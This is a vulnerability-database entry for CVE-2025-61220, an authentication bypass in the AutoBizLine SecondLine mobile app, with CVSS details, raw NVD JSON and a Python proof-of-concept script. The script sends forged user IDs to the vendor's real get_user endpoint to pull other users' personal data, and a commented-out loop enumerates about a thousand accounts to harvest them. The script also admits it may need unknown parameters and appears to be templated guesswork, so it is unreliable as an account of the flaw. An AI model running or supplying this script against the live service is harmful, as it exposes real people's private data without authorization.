Security Vulnerability Report
中文
CVE-2025-61220 CVSS 7.5 HIGH

CVE-2025-61220

Published: 2025-10-21 16:15:39
Last Modified: 2026-04-15 00:35:42

Description

The incomplete verification mechanism in the AutoBizLine com.mysecondline.app 1.2.91 allows attackers to log in as other users and gain unauthorized access to their personal information.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

AutoBizLine com.mysecondline.app 1.2.91

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61220 PoC - AutoBizLine SecondLine Authentication Bypass # Vulnerability: Incomplete verification mechanism allowing impersonation # Affected endpoint: https://autobizline.com/secondline/user/get_user/ import requests TARGET_URL = "https://autobizline.com/secondline/user/get_user/" # Attack: Send request with manipulated user identifier to access other users' data # The authentication mechanism fails to properly verify the requester's identity def exploit(target_user_id): """ Exploit the incomplete verification mechanism in SecondLine app. By manipulating the user identifier parameter, an attacker can retrieve arbitrary user information without valid credentials. """ headers = { "User-Agent": "Mozilla/5.0 (compatible; SecondLine/1.2.91)", "Content-Type": "application/json", "Accept": "application/json" } # Construct payload with target user's identifier # The server fails to verify if the requester is authorized to access this user's data payload = { "user_id": target_user_id, # Additional parameters may be required depending on the API structure } try: response = requests.post(TARGET_URL, json=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[SUCCESS] Retrieved data for user {target_user_id}") print(response.json()) return response.json() else: print(f"[FAILED] Status code: {response.status_code}") return None except Exception as e: print(f"[ERROR] {e}") return None # Example usage: enumerate user IDs to harvest personal information if __name__ == "__main__": # Attempt to access victim user's data victim_user_id = 1 # Replace with target user ID exploit(victim_user_id) # Batch enumeration of user accounts # for uid in range(1, 1000): # exploit(uid)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61220", "sourceIdentifier": "[email protected]", "published": "2025-10-21T16:15:38.777", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The incomplete verification mechanism in the AutoBizLine com.mysecondline.app 1.2.91 allows attackers to log in as other users and gain unauthorized access to their personal information."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "http://autobizline.com", "source": "[email protected]"}, {"url": "https://autobizline.com/secondline/user/get_user/", "source": "[email protected]"}, {"url": "https://github.com/syz913/CVE-reports/blob/main/CVE-2025-61220.md", "source": "[email protected]"}]}}